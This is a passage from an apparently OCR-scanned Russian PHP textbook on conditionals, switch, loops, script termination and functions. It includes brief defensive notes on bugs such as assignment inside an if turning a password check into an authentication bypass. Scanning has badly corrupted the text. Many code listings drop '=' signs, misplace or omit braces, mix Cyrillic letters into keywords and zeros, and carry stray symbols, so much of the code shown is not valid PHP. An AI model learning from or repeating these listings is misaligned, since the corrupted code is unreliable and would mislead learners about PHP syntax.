□ если адрес e-mail верный, то отправить письмо;

□ иначе выдать сообщение об ошибке.

Как видите, логика сводится к простому тестированию: если условие верно, то вы
полнить одно действие, иначе выполнить другое действие. Эту логику мы уже ис
пользовали один раз, а сейчас нам предстоит познакомиться с ней поближе. Итак, 
на языке РНР такое тестирование записывается следующим образом: 

if (условие) 
действие]; 

else 
действие2; 
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Если условие, указанное в скобках, верно, то выполнится действиеl, иначе будет 
выполнено действие2, например: 

$index = О; 

if ($index > О) 

print("Index > О"); 

else 

print("Index 0"); 

В этом случае происходит такая проверка: если переменная $index больше нуля, то 
выводится первое сообщение, иначе выводится второе сообщение, которое стоит 
после ключевого слова else. 

Обязательно запомните, что будет выполняться только одно действие. Если нужно 
выполнить два действия, то их надо объединить в блок. Это делается с помощью 
фигурных скобок 1 1. Например, следующий код неверен: 

$index = О; 

if ($index > О) 

print("Index > О"); 

$index = О; 

else 

print("Index = О"); 

Если переменная $index больше нуля, мы пытаемся вывести сообщение и изменить 
значение переменной на ноль. Это уже два действия, а может быть выполнено 
только одно. Правильно написать так: 

$index = О; 

if ($index > О) 

{ 

print("Index > О"); 

$index = О; 

else 

print("Index = О"); 

После ключевого слова else тоже выполняется только один оператор. Чтобы вы
полнить два действия, их нужно так же объединить в блок с помощью фигурных 
скобок: 

$index = О; 

if ($index > О) 

{ 

print("Index > О"); 

$index = О; 

else 

} 

print("Index О"); 

$index = 1; 
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Чтобы избежать подобных ошибок, некоторые программисты постоянно обрамля
ют код фигурными скобками. Сейчас некоторые среды разработки для РНР даже по 
умолчанию показывают предупреждения или подчеркивают как ошибки те места, 
где отсутствуют фигурные скобки. Если я не ошибаюсь, то так поступает NetBeans. 

Если забыть поставить фигурные скобки, то логика приложения может сильно 
измениться, и это вполне может привести к уязвимости. Я в последнее время стал 
себя приучать тоже ставить фигурные скобки - даже в тех случаях, когда выпол
няется лишь один оператор. Так что если вы в моих примерах видите много фигур
ных скобок- это не следование каким-то требованиям, а лишь рекомендация 
и личное предпочтение. 

Ключевое слово else писать необязательно, и можно обойтись без него, если не 
нужно выполнять никаких действий при ложном результате сравнения. Например: 

$index = О; 

if ($index > О) 

print("Index > 0"); 

В этом случае на экран будет выведено сообщение, только если переменная $index 

больше нуля. 

Обратите внимание, как я оформляю приведенный здесь код. Во второй строке 
производится проверка условия. Действие, которое выполняется, если условие вер
но, записано в следующей строке с отступом в один пробел (в книге для экономии 
места используются пробелы, в реальности же я нажимаю клавишу <ТаЬ> ). В Ин
тернете много спорят, что лучше: пробелы или символы табуляции. Я не буду навя
зывать вам свое решение и говорить, что предпочтительнее, - моя рекомендация 
проста: выберите для себя что-то одно и всегда используйте этот подход. Лично я 
для себя выбрал символы табуляции. 

Если нужно ключевое слово else, то я ставлю его на одном уровне с н. А действие, 
которое выполняется при неверном результате сравнения, располагается на новой 
строке с отступом. Тогда сразу видно, что ключевое слово else относится именно 
к вышестоящему if. Такое форматирование очень удобно, и вы увидите его пре
имущество в случае нескольких операций сравнения подряд или д�е вложенных 
друг в друга. Посмотрите на следующий пример: 

$index = О; 

if ($index > О) { 

if ($index > 10) 

{ $index 10; 

else 

else 

$index О; } 

print("Index = 0"); 

$index = ·1; 
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Из этого кода видно, что операторы if и соответствующие им else находятся на 
одном уровне, а действия смещены вправо. Таким образом, по смещению можно 
определить, какой код к чему относится. 

В языке РНР есть множество операций сравнения, и чтобы вам легче было в них 
разобраться, я собрал их вместе (табл. 2.1). 

Таблица 2.1. Операции сравнения 

Операция сравнения Результат 

Параметр 1 > Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр больше второго 

Параметр 1 >= Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр больше или равен второму 

Параметр 1 < Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр меньше второго 

Параметр 1 <= Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр меньше или равен второму 

Параметр 1 == Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр равен второму 

Параметр 1 === Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр равен второму, и при этом оба 
имеют одинаковый тип данных 

Параметр 1 != Параметр 2 Возвращает true (выполнится первое действие), 
если первый параметр не равен второму 

А если нужно проверить два условия одновременно? В этом случае их можно объ
единять с помощью логических операторов, позволяющих вычислить логическую 
операцию (табл. 2.2). 

Таблица 2.2. Логические операторы в составе логических операций 

Логическая операция Результат 

Условие 1 and Условие 2 Возвращает true, если оба условия вернут true 
(Условие 1 && Условие 2) 

Условие 1 or Условие 2 Возвращает true, если хотя бы одно условие вернет 

(Условие 1 1 1 Условие 2) true 

Условие 1 xor Условие 2 Возвращает true, если только одно условие вернет true 

!Условие Изменяет результат проверки условия на противополож-
ный, т. е. если результат проверки дал true, то символ

изменяет его на false и наоборот 

Рассмотрим пример использования двойного сравнения: 

$indexl О; 

$index2 = 1; 
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if ($indexl > $index2 and $index2 == 1) { 

print("Indexl больше Index2 и Index2 равен 1"); 

else { 

print("Indexl равен или меньше Index2 или Index2 не равен 1"); 

Выполним проверку переменной на вхождение ее значения в диапазон от 1 до 1 О: 

$index = О; 

if ($index >= 1 and $index <= 10) { 

print("Index больше 1 и меньше 10"); 
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Мы рассматривали только сравнение целых чисел, но никто не мешает сравнивать 
строки или дробные числа. Попробуйте сами сравнить несколько переменных раз
ными методами и посмотреть, какая из строк выводится на экран. Только так вы 
сможете увидеть разницу в использовании различных операторов сравнения. 

Есть еще один интересный способ проверки условия. Допустим, что надо сравнить 
две переменные и в результат записать наибольшую. В этом случае код будет вы
глядеть следующим образом: 

$result = $indexl > $index2 ? indexl : index2; 

Как работает эта запись? Посмотрим на ее общий вид: 

условие ? действие] : действие2;

Если. условие верно, то выполнится действие 1, иначе выполнится действие2. Полу
чается, что если в нашем примере переменная $indexl больше, то результатом 
будет эта переменная, иначе - $index2. Это хороший и удобный вариант. Попро
буйте использовать его несколько раз, и вы увидите, как он легко читается. 

С точки зрения производительности и даже немного с точки зрения безопасности 
для сравнения лучше использовать тройной символ равенства, а не двойной. Раз
беремся со смыслом этой рекомендации. Пусть у нас есть такой код: 

$num = 10; 

$str = "10"; 

if ($num == $str) 

print("Чиcлo 10 равно строке 'l0'<br/>"); 

РНР определяет здесь значение переменной по контексту. В первой строке мы соз
даем переменную $num, которой присваивается число 10. Как РНР узнает, что это 
число? Ну это точно не строка, потому что нет кавычек, а дальше уже вкточается 
машинный мозг. Во второй строке кода создается строковая переменная. А тут все 
легко определяется по кавычкам. 

Во время сравнения РНР тоже будет использовать определение типа по контексту. 
Слева от знака равенства расположено число, и поэтому среда исполнения попро
бует привести правую часть также к числу. Такое приведение пройдет без ошибок, 
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и если запустить этот пример, то мы увидим сообщение, что число 10 равно стро
ке '10'.

Казалось бы, какая тут может быть проблема, это же очень удобно! А теперь по
смотрим на следующий пример: 

$num = О; 
$str = "Hello"; 
if ($num == $str) 

print("Чиcлo О равно строке 'Hello'<br/>"); 

В процессе сравнения числа с неверным значением преобразование слова 'нello' 
завершится возвратом значения О, и результатом сравнения будет истина - т. е. мы 
увидим сообщение, что число о равно строк� 'Hello'. 

Чтобы этого не произошло, по возможности желательно осуществлять сравнение 
с использованием трех символов равенства. В этом случае РНР не будет пытаться 
приводить обе стороны к одному и тому же типу данных, а значит, проверка завер
шится отрицательно, и мы не увидим неверного сообщения: 

$num = О; 
$str = "Hello"; 
if ($num === 'Hello') 

print("Чиcлo О четко равно строке 'Hello', и это неверно<Ьr/>"); 

Таким образом, если вы уверены в типе данных, то сравнение тремя символами ра
венства позволит немного улучшить безопасность ваших сайтов. Ну а дополни
тельным бонусом может быть и производительность, потому что приведение ти
пов - не такая уж и «дешевая» операция. Указав среде разработки, что приведение 
делать не надо, вы сможете немного, но повысить производительность: 

if ($num === О) {

print("Чиcлo О равно строке переменной со значением 0<br/>"); 

А если нужно сравнить одну переменную с несколькими значениями и в зависимо
сти от этого выполнить какие-либо действия? Например, в переменной $day у вас 
хранится число от 1 до 7, которое указывает номер дня недели, но вам нужно 
вывести на экран название дня. Для этого можно написать следующий код (лис
тинг 2.7). 

$day = 2; 
if ($day == 1) 

{ рrint("Понедельник"); 
else 
if ($day == 2) 

{ рrint("Вторник"); 
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else 

if ($day == 3) 

{ print("Cpeдa"); 

else 

if ($day == 4) 

рrint("Четверг"); 
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Оператор else для этого случая не обязателен, и я его добавил просто для нагляд

ности. 

Такой код не очень хорошо читается и выглядит громоздко, а если написать его без 
отступов, то в нем вообще будет сложно разобраться. Для решения подобной про

блемы можно воспользоваться конструкцией if ... elseif (листинг 2.8). 

$day = 2; 

if ($day == 1) 

{ рrint("Понедельник"); 

elseif ($day == 2) 

{ рrint("Вторник"); 

elseif ($day == 3) 

{ print ("Среда"); } 

elseif ($day == 4) 

{ рrint("Четверг"); 

elseif ($day == 5) 

{ рrint("Пятница"); 

elseif ($day == 6) 

{ print("Cyббoтa"); 

elseif ($day == 7) 

{ print("Bocкpeceньe"); 

Этот код уже попроще. В общем виде конструкция if ... elseif выглядит следую
щим образом: 

if (условиеl) 

действиеl; 

elseif (условие2) 

д·ействие2; 

Если первое условие верно, то выполнится первое действие и проверка закончится, 
иначе произойдет проверка второго условия. Если второе условие верно, то будет 

выполнено второе действие. 
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В языке РНР есть еще один вариант проверки одной переменной на соответствие 
одному из нескольких значений - оператор swi tch. В общем виде этот оператор 
выглядит так: 

switch (переменная) 

case значениеl: 

опера торыl; 

break; 
case значение2: 

опера торы2; 

break; 

[default: оператор] 

} 

Здесь переменная сравнивается со значениями, которые указаны после ключевого 
слова case. Если значение переменной равно 1, то будут выполнены все операторы 
этого блока до ключевого слова break. Это важное различие, которое вы должны 
запомнить. Если после сравнения if выполняется только один оператор (для 
выполнения нескольких операторов их надо объединить фигурными скобками), то 
в нашем случае может выполняться любое количество операторов. 

Если во время выполнения проверок ни одно значение не подошло, то будет вы
полнен оператор, который стоит после ключевого слова defaul t. Эта секция являет
ся необязательной (ctefault может отсутствовать), но может присутствовать для 
выполнения каких-либо действий. Например, если значение переменной не подо
шло ни под одну из проверок, то можно вывести сообщения об ошибке. 

Давайте рассмотрим, как можно решить задачу с днями недели, которую мы рас
сматривали ранее, с помощью оператора switch (листинг 2.9). 

$day 4; 
swi tch ( $day) 

case 1: 

рrint("Понедельник"); 

print("Пopa работать"); 

break; 
case 2: 

рrint("Вторник"); 

break; 

case 3: 

print ("Среда") ; 

break; 

case 4: 

рrint("Четверг"); 

break; 
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case 5: 

рrint("Пятница"); 

print("Koнeц недели"); 

break; 

case 6: 

print("Cyббoтa"); 

рrint("Выходной"); 

break; 

case 7: 

print("Bocкpeceньe"); 

рrint("Выходной"); 

break; 
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Для 1, 5, 6 и 7-го дней недели я вставил по два оператора print, чтобы вы увидели, 
что не нужно ничего объединять в фигурные скобки. На первый взгляд, такое ре
шение слишком громоздко, но, поверьте мне, оно читается намного проще. И никто 
не мешает вам записать код одной строкой или более сжато (листинг 2.10). 

$day = 4; 

switch ($day) 

case 1: рrint("Понедельник"); break; 

case 2: рrint("Вторник"); break; 

case 3: 

case 4: 

case 5: 

case 6: 

print("Cpeдa"); 

print ("Четверг")·; 

рrint("Пятница"); 

print ("Суббота") ; 

break; 

break; 

break; 

break; 

case 7: print("Bocкpeceньe"); break; 

default: рrint("Ошибка"); 

Этот код занимает уже намного меньше места, а читать его не так уж и сложно. Чи
табельность кода является очень важной составляющей, потому что в дальнейшем 
она упростит поддержку, отладку и внесение изменений в код сценария. Помимо 
этого, я добавил ключевое слово default и вывод сообщения об ошибке. 

Ключевое слово break является обязательным. Если вы забудете его поставить, то 
выполнится весь последующий код, что приведет к нежелательному результату. Но 
такой подход может оказаться и выгодным. Например, вам надо написать код, ко
торый будет вычислять степень любого числа от 1 до 5. Просто для смеха сделаем 
это через swi tch, хотя намного проще использовать циклы, с которыми мы пока 
еще не знакомы. Это может быть реализовано следующим образом: 

$result = 1; 

$i = 3; 
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switch ($i) { 

case 5: $result $result * $i; 
case 4: $result $result * $i; 
case 3: $result $result * $i; 
case 2: $result $result * $i; 
case 1: $result $result * $i; 
default: print ($result); 

В качестве начального значения я задал переменной $i значение 3. Наш код должен 
будет вычислить степень тройки. Расскажу, как это произойдет. Операторы case 
для 5 и для 4 не сработают, а сработает вариант 3, потому что этому числу равна 
наша переменная. Здесь число 3 будет умножено на значение переменной $result, 
которое равно 1, и результат попадет в переменную $result. Так как нет оператора 
break, следующий код для case, равного 2, тоже будет выполнен. Здесь значение 
$result (равное 3) будет умножено на 3, и результат 9 попадет в переменную 
$result. Опять нет break, поэтому выполнится case для единицы, и значение 
$result (уже равное 9) будет умножено на 3. Получится результат 27, и он будет 
выведен на экран, потому что снова нет break, а значит, выполнится код, который 
стоит после default. 

Этот пример не эффективен и приведен просто для наглядности. Иногда, действи
тельно, может· понадобиться при определенных условиях выполнить код от двух 
или более операторов case. И вы должны знать, что простой прием с отсутствием 
оператора прерывания ьreak может упростить вам жизнь. Однако не забывайте ста
вить break, когда он действительно нужен, иначе оператор case будет работать не 
так, как вы ожидаете. 

Разрабатывая свои сценарии, выбирайте тот вариант проверок, который макси
мально подходит для решения задачи. По скорости выполнения все варианты рабо
тают одинаково, а вот с точки зрения красоты при многократном сравнении опера
тор swi tch может значительно улучшить читабельность программы. 

При работе со условными операторами нужно быть очень внимательным, потому 
что тут могут крыться две очень распространенные ошибки. А ошибки могут при
водить к уязвимостям. 

Посмотрите на следующий код и попробуйте определить, что тут не так: 

$indexl = О; 
if ($indexl = 3) { 
print("Indexl равен 3"); 

Опытный программист, скорее всего, сразу заметит проблему, а вот новичок навер
няка упустит то, что в скобках после оператора if происходит присваивание ( = ), а 
не сравнение (==). Присваивание приведет к тому, что всегда будет выполняться 
тело условного оператора. 
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Яркий пример уязвимости из-за подобной ошибки демонстрирует следующий код: 

if ($passworct·= '123') { 

print("Bы авторизованы"); 

Какой бы пароль ни попал в переменную $password, результатом будет удачная 
проверка, и посетитель авторизуется. 

Для борьбы с подобными ошибками рекомендуется во время проверок константы 
писать слева: 

if ('123' = $password) { 

print («Вы авторизоваНЬD>); 

Строке '123' невозможно присвоить значение, поэтому приведенный код завер
шится ошибкой, и вы сразу это увидите. А вот при сравнении проверка произойдет 
успешно, потому что для нее все равно, где находится константа - слева или 
справа: 

if ( '123' == $password) ( 

print («Вы авторизоваНЬD>); 

Вторая возможная проблема даже попала в предьщущее издание этой книги. Смо
жете ли вы ее заметить? 

$indexl = О; 

$index2 = 1; 

if ($indexl > index2 and $index2 == 1) { 

print("Indexl больше Index2 и Index2 равен 1"); 

Обратите внимание на первое упоминание index2 внутри условного оператора -
это не переменная, потому что отсутствует символ $ - я его банально забыл напи
сать. Эго не приведет к ошибке, а только к предупреждению, которое вы не увиди
те. А вот результат может оказаться неожиданным и привести к уязвимости. 

Проблема здесь кроется в гибкости РНР, и чтобы подобная опечатка не прокралась 
в ваш код, обязательно отображайте предупреждения и реагируйте на них во время 
разработки. Об этом мы поговорим в разд. 2.11. 

2.6. Циклы 

Не менее часто в программировании используются циклы. Например, та же задача 
с возведением в степень, которую мы обсуждали при рассмотрении оператора 
swi tch, решается намного проще и эффективнее при помощи цикла. Для возведения 
в степень нужно выполнить операцию умножения определенное количество раз. 
Если требуется возвести в третью степень число 2, то можно написать: 2*2*2.

А если необходимо возвести число 2 в сотую степень? Эго уже сложнее. Можно 
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рассчитать число заранее, но как поступить, если неизвестно, в какую степень нуж
но возводить число? Вот это уже самые настоящие проблемы, и здесь не обойтись 
без циклов. 

2.6.1. Цикл for 

Самым часто используемым является цикл for. Он наиболее прост в понимании, 
поэтому начнем рассмотрение циклов с него. В общем виде он выглядит следую
щим образом: 

for (начальное значение; конечное значение; изменение счетчика) { 
оператор 

} 

Фигурные скобки, если присутствует только один оператор, не обязательны, но я 
все равно предпочитаю их использовать. 

Посмотрим, как можно возвести число в степень с помощью цикла for: 

$result = 1; 
for ($i = 1; $i <= 3; $i = $i+l) { 
$result = $result * 3; 

} 
print($i); 

В этом примере запускается цикл с начальным значением переменной $i, равным 1. 
Цикл будет выполняться, пока значение переменной меньше или равно 3. Как толь� 
ко значение переменной превысит это число, цикл прервется, и результат будет 
выведен на экран с помощью функции print (), которая идет после цикла. 

На каждом шаге цикла значение переменной $i увеличивается на единицу 
($i = $i+l). Также на каждом шаге цикла выполняется строка кода: $result = 

$result * 3. Поскольку переменная цикла $i принимает значения от 1 до 3, то 
строка будет выполнена три раза. 

В приведенном примере после оператора for выполняется только одна строка кода. 
Чтобы эту строку бьmо видно, я всегда отделяю ее пробелом, смещая вправо. Если 
после оператора for необходимо выполнить два и более оператора, то фигурные 
скобки становятся обязательными. Например: 

$result = 1; 
for ($i=l; $i<=3; $i=$i+l) 

{ 
$result = $result * 3; 
рrint("Результат = $result, Счетчик = $i <br>"); 

} 

После выполнения этого кода мы увидим на экране следующий текст: 

Результат = 3, Счетчик = 1 
Результат = 9, Счетчик = 2 
Результат = 27, Счетчик = 3 

Так мы возвели число 3 в третью степень. 
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В качестве начальных значений могут выступать несколько переменных. Напри

мер, мы беспрепятственно можем перенести объявление переменной $result 

в скобки оператора for следующим образом: 

for ($result=l, $i=l; $i<=3; $i=$i+l) 

$result = $result * 3; 

рrint("Результат = $result, Счетчик = $i <br>"); 

Все начальные значения указываются через запятую. 

Таким же образом может быть организовано любое количество проверок. Пусть, 
например, нам надо выполнять цикл, пока значение переменной $i не станет боль
ше 3 или результат не превысит 100. Для этого можно написать цикл следующим 
образом: 

for ($result = 1, $i = 1; $i <= З, $result < 100; $i = $i + 1) 

{ 
$result = $result * 3; 

рrint("Результат = $result, Счетчик = $i <br>"); 

Как видите, в ограничении цикла через запятую проверяются два условия: $i <= 3 

и $result < 100. Запятая здесь равносильна сравнению «или» (or) и соответствует 
записи: 

fo'r ($result = 1 1 $i = 1; $i <= 3 or $result < 100; $i = $i+l) 

Если нужно выполнять цикл, пока одно из условий не станет истинным, то можно 
написать так: 

for ($result = 1,. $i = 1; $i <= 3 and $result < 100; $i=$i+l) 

Но здесь имеется один недостаток. Если вы выполните сейчас этот код, то увидите, 
что результат превышает 100. Почему? Проверка происходит раньше, чем произво
дится очередное возведение в степень. Число 3 в четвертой степени равно 81. Это 
меньше 100, поэтому выполняется очередной шаг цикла ( еще одно возведение 
в степень), и результат становится 243, что и выводится на экран. Только следую
щая проверка увидит, что число превысило допустимое значение. Чтобы избавить
ся от этого эффекта, возведение в степень нужно перенести в область увеличения 

счетчика: 

for ($result = 1, $i = 1; 

$i <= 3, $result < 100; 

$i = $i + 1, $result = $result * 3) { 

рrint("Результат = $result, Счетчик = $i <BR>"); 

Теперь на каждом шаге цикла увеличивается не только $i, но и $result. Результат 
возведения в степень будет выведен на экран только в том случае, если он соответ
ствует обоим условиям, а получившееся число никогда не превысит 100. 
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Я не буду давать рекомендаций, какой способ использовать. Главное, чтобы вам 
удобно было читать этот код. Но я бы не располагал никаких действий внутри 
круглых скобок цикла - для этого есть тело цикла между фигурными скобками. 

2.6.2. Цикл while 

Цикл while можно воспринимать как предписание выполнять действия, пока верно 
условие. В общем виде это выглядит следующим образом: 

while (условие)

действие; 

Если выполнять надо только 9дно действие, то фигурные скобки снова будут не 
обязательными. Рассмотрим пример возведения числа 3 в степень 3 с помощью 
цикла while: 

$i = 1; 
$result = 1; 
while ($i <= 3) 

} 

$result $result * 3;

$i = $i + 1;

В этом случае увеличение происходит внутри цикла вместе с возведением в сте
пень. Как только условие станет неверным, цикл будет прерван. А если надо 
выполнить тело цикла в любом случае хотя бы один раз? Тогда нужно воспользо
ваться другой разновидностью while: 

do { 

действие 

} while (условие);

Здесь сначала выполняется действие, а потом уже происходит проверка. Таким 
образом, действие будет выполнено в любом случае хотя бы один раз, даже если 
условие изначально неверно. Например: 

$i = 1; 
$result = 1; 
do 

$result $result * 3; 
$i = $i + 1; 
while ($i <= 3) 

2. 6. 3. Бесконечные циклы

Бывают ситуации, когда нужно сделать цикл бесконечным. В этом случае можно 
использовать в качестве условия для цикла while заведомо истинное значение: 
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while (true) 

Здесь мы ставим в качестве результата условия истинное значение, которое просто 
не может поменяться на ложь, а значит, цикл будет бесконечным. 

Цикл for тоже можно сделать бесконечным следующим образом: 

for (;;) 

Здесь нет никаких условий и приращений, поэтому и цикл будет бесконечным. Но 
такие циклы можно прервать специальным оператором, о котором речь пойдет 
вразд. 2.6.4.

Вообще-то, абсолютной бесконечности по умолчанию не будет. Выполнение любо
го сценария ограничено по времени (по умолчанию - 30 секунд). Вы можете 
изменить это значение или сделать бесконечным время ожидания, но тогда ваш 
сценарий из-за какой-нибудь маленькой ошибки (не будет выполняться прерывание 
цикла) может перегрузить память стека и будет остановлен с ошибкой. 

2. 6. 4. У правление циклами

Иногда нужно иметь возможность прервать работу цикла или изменить ход его 
выполнения. Например, остановить выполнение бесконечного цикла можно только 
с помощью специального оператора завершения работы цикла. 

Прервать выполнение цикла можно с помощью ·оператора break. Например: 

$index=l; 
while ($index < 10) 

print("$index <br>"); 
$index++; 
if ($index 5) 
break; 

Эrот цикл должен выполняться, пока значение переменной $index не станет рав
ным или больше 10. В теле цикла есть проверка: если значение переменной рав
но 5, то цикл прерывается с помощью оператора break. Таким образом, цикл будет 
выполнен только до 5. 

А если нужно пропустить какое-то значение и не выполнять цикл или какую-то его 
часть? Для этого есть оператор continue. Рассмотрим пример его использования: 

$index=0; 
while ($index < 10) 

$index++; 
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if ($index == 5) 

continue; 

print("$index <BR>"); 

Глава 2 

В этом случае в цикле выполняется печать чисел от 1 до 9, но мы должны пропус
тить число 5. Для этого переменной $index присваивается значение О. Почему О, 
если нужно печатать, начиная с 1? Просто в теле цикла мы сначала увеличиваем 
значение переменной на 1, а потом уже печатаем, т. е. на первом же шаге еще до 
печати О будет увеличен на 1 и распечатается единица. Если переменная $index

равна 5, то печати не будет, потому что сработает оператор continue, и выполнение 
перейдет в начало. 

Будьте внимательны при использовании оператора continue. Посмотрите следую
щий код и найдите ошибку: 

$index=l; 

while ($index < 10) 

{ 

if ($index == 5) 

continue; 

print("$index <BR>"); 

$index++; 

Синтаксической ошибки здесь нет, и, на первый взгляд, код должен выполнять те 
же действия, что и предыдущий. В переменную $index мы занесли начальное зна
чение 1, потому что теперь увеличение счетчика идет после печати, и вроде бы все 
правильно. Если цикл дойдет до 5, то печати не будет и произойдет переход на на
чало цикла. В этом и заключается ошибка. После перехода счетчик не изменился 
(значение переменной $index не увеличено и равно 5), и снова проверка с числом 5 
даст истину. Таким образом, цикл «заклинит», и он постоянно будет переходить 
с пятой строки на вторую. 

Этой проблемы нет при использовании цикла for, потому что увеличение при 
переходе на новый шаг происходит сразу же по формуле, указанной в качестве по
следнего параметра в скобках: 

for ($index = 1; $index < 10; $index++) 

if ($index 5) 

continue; 

print ("$index <BR>"); 

В случае с циклом for можно поступить немного другим способом - самостоя
тельно увеличить значение переменной $index в теле цикла: 

for ($index = 1; $index < 10; $index++) 

if ($index == 5) 

$index++; 
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print("$index <BR>"); 

Но это частный случай перехода на следующий шаг, когда нужно просто пропус
тить одно значение. Задача или условие могут поменяться, и тогда вы не увидите 
ошибку. Например, может понадобиться проскочить несколько шагов подряд. На 
какое значение тогда придется увеличивать счетчик, сказать трудно. В реальных 
условиях я не советую доверять ручному увеличению счетчика, а использовать 

оператор continue, потому что он универсален. 

2.7. Прерывание работы программы 

Иногда бывают ситуации, в которых нужно прервать работу программы. Очень 
часто это необходимо, когда произошла какая-либо серьезная ошибка, и дальней
шее выполнение приведет только к ухудшению положения. Например, на сервере 
нет необходимого файла, или посетитель �адал неправильные параметры. Тогда 
дальнейшая работа сценария может отобразить запрещенную информацию или 
просто отработать неправильно и привести к печальным последствиям. В таких 
случаях не экспериментируйте, а остановите работу сценария. 

Для прерывания работы сценария применяется команда exi t () . Как только сцена
рий встретит эту команду, работа тут же прервется. Однако я рекомендую исполь
зовать команду die (), которая является псевдонимом для exi t (), но в качестве 
параметра для die () указывается текстовое сообщение, которое увидит посетитель 
в окне браузера. Рассмотрим классический пример подключения к базе данных: 

if(!connect_to_database) 
die("Heт соединения с базой данных, зайдите позже"); 

Использованной в этом примере команды ! connect _ to _ database в языке РНР нет. 
Она просто указывает на то, что в этом месте может находиться команда подклю
чения к базе данных. Здесь важно, что если соединение с базой данных не про
изошло, то вызывается команда die (), а в качестве параметра ей передается тексто
вое описание ошибки. 

Обязательно информируйте посетителя о причинах возможных ошибок. Если не 
будут выводиться сообщения, а только пустые экраны или прерванные на полусло
ве страницы, то это вызовет раздражение у посетителя вашего сайта, и, возможно, 
он больше никогда на него не зайдет. А с помощью сообщения вы сможете изви
ниться и попросить его зайти немного позже. 

Ошибки с подключением к базе данных встречаются весьма часто. На одном из 
хостов, где располагался мой сайт, в течение двух месяцев база данных MySQL ра
ботала с перебоями, и каждый день происходил сбой на 10-15 минут в самый пик 
посещаемости. Такие проблемы могут быть связаны с плохим программированием, 
незакрытыми соединениями и блокировками, а также с перегрузкой сервера. 

Недостатки функции die () - немедленный вывод сообщения и немедленное пре
кращение работы сценария. При этом загрузка результирующей страницы может 



56 Глава 2 

оказаться незаконченной, и разметка будет выглядеть ужасно. Если вы хотите, что
бы веб-страница выглядела хорошо, то можно использовать следующую логику: 

Отображение шапки страницы 

if(!connect_to_database) 

print("Heт соединения с базой данных, зайдите позже"); 

Отображение подвала страницы 

exit; 

В этом случае страница будет выглядеть более корректно, потому что после вывода 
сообщения мы отображаем на экране подвал и только после этого прерываем рабо
ту сценария. 

2. 8. lункции

Много лет назад, когда я только начинал программировать на языке Pascal, я долго 
не мог понять, зачем нужны функции. Все программы я строил линейно, без каких
либо ветвлений. Но однажды я столкнулся с проблемой. Код программы выглядел 
так, как в листинге 2.11. 

рrint("Выберите одно из действий <br>"); 

print("===== ======= <br>"); 

print("Пoиcк <br>"); 

print (" ===<br>"); 

print("---------------------------<br>"); 

print ( "Печать <br>") ; 

print("---------------------------<br>"); 

print (" ===<br>"); 

print("Bыxoд <br>"); 

print("---------------------------<br>"); 

В первой строке выводится заголовок, а потом три пункта меню. Для вывода каж
дого из них нужно по три строки кода. На вид он не такой уж и страшный. А если 
таких пунктов меню будет 20 или для вывода каждого из них понадобится не 
3 строки кода, а 1 О? Тогда строки будут повторяться многократно, а код станет 
абсолютно нечитаемым. А если представить себе ситуацию, что нужно изменить 
какую-то строку для каждого пункта меню! ! ! Здесь уже нужно произвести 20 изме
нений для каждого пункта. 

Для решения поставленной задачи хорошо подходит использование функций. 
Функции в РНР создаются следующим образом: 
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function Имя(параметрl, параметр2, ... ) 

Оператор]; 

Оператор2; 
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Рассмотрим работу функций на примере, чтобы вы сразу увидели их преимущест
во. Вот функция, которая должна выводить на экран один пункт меню: 

function PrintMenu($narne) 

print("--------------------------<br>");

print("$narne <br>"); 

print("---------------------------<br>");

Теперь, чтобы вывести на экран. один пункт меню, достаточно вызвать эту функ

цию точно так же, как мы уже много раз вызывали функцию print (). В качестве 
параметра ей нужно передать имя меню - в коде это может быть переменная или 
просто текст: 

$rnenunarne = "Поиск"; 

PrintMenu($rnenunarne); 

PrintMenu("Пeчaть"); 

PrintMenu ("Выход") ; 

В первом случае в качестве параметра в скобках передается переменная $rnenunarne,

в которой содержится название меню. В остальных сразу передается текст меню. 
И так можно передавать в функцию не только переменные, но и значения, а также 

результаты выполнения других функций. 

Как видите, объявленная нами функция работает так же, как и те, что уже встроены 

в библиотеки РНР, - например, функция print (), которую мы уже неоднократно 
использовали. Во время объявления функции в скобках можно указать параметры, 
которых может быть несколько, и записать их через запятую. Параметров может и 
не быть, тогда в круглых скобках ничего не будет записано. 

Так что же такое функция? Я бы сказал, что функция - это именованный фрагмент 

кода, который может принимать параметры для внутреннего использования ( обра
ботки) и возвращать результат (эту возможность мы рассмотрим немного позже). 

Функцию следует вызывать по имени. Такие фрагменты кода выгодны, если они 
выполняются неоднократно. Чтобы не повторять одинаковый код во время про
граммирования, некоторые фрагменты сценария можно оформить в виде функций и 
использовать их в дальнейшем. 

Вторая причина создания функций - повышение читабельности кода. Пусть ка
кой-то отрывок кода мы будем выполнять только один раз, но если этот код делает 
что-то специфичное и его действие легко описать, то имеет смысл выделить такой 
код в отдельную функцию и дать ей соответствующее имя. Вообще о чистоте кода 
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пишут отдельные книги. На эту тему и я иногда пишу в своем блоге 
www .flenov .inf о, или вы можете почитать книгу «Соверщенный код» [ 5]. Она, мо

жет, и тяжела для новичка, и примеры в ней написаны на Java, но она содержит 
описания многих полезных приемов. 

Функции позволяют многократно использовать один раз написанный код. Напри
мер, если в сценарии А описана функция, а ее нужно использовать в сценарии Б, то 

мы просто подключаем к сценарию Б файл сценария А и используем уже написан
ный код. Таким образом можно экономить время и делать код читабельнее не толь
ко внутри одного сценария, но и для нескольких сценариев одновременно. 

А если в подключаемом файле есть помимо функций еще и код, не оформленный 
как функции? Такой код будет выполнен сразу при подключении файла. Чтобы 
этого не случилось, лучше все функции писать в отдельных файлах. Например, 

создайте файл, дайте ему название, например func.php, и все функции пишите 
в нем. Как и имена переменных, имена файлов также должны нести какой-то 

смысл. Вот я для примера посоветовал вам присвоить файлу функций имя func.php, 

но в реальной жизни в файлах нужно группировать код по смыслу, и имя файла 

должно отображать его содержимое, а не просто нести имя func. 

С помощью функций мы не только упрощаем процесс программирования, но и де
лаем код более понятным и при этом более быстрым. В чем причина увеличения 

скорости? В способности функций уменьшать код. Чем меньше файл, тем меньше 

времени нужно на его загрузку, меньше используется памяти сервера и меньше 
строк нужно интерпретировать. Таким образом, мы не просто убиваем нескольких 

зайцев, а разрываем их в клочья. 

Даже у функций, состоящих из одной строки, есть свое преимущество. Их можно 
воспринимать как константы кода. Допустим, что у вас в программе в нескольких 
местах происходит вывод на экран определенного значения, умноженного на чмс

ло 3. Такая функция может выглядеть следующим образом: 

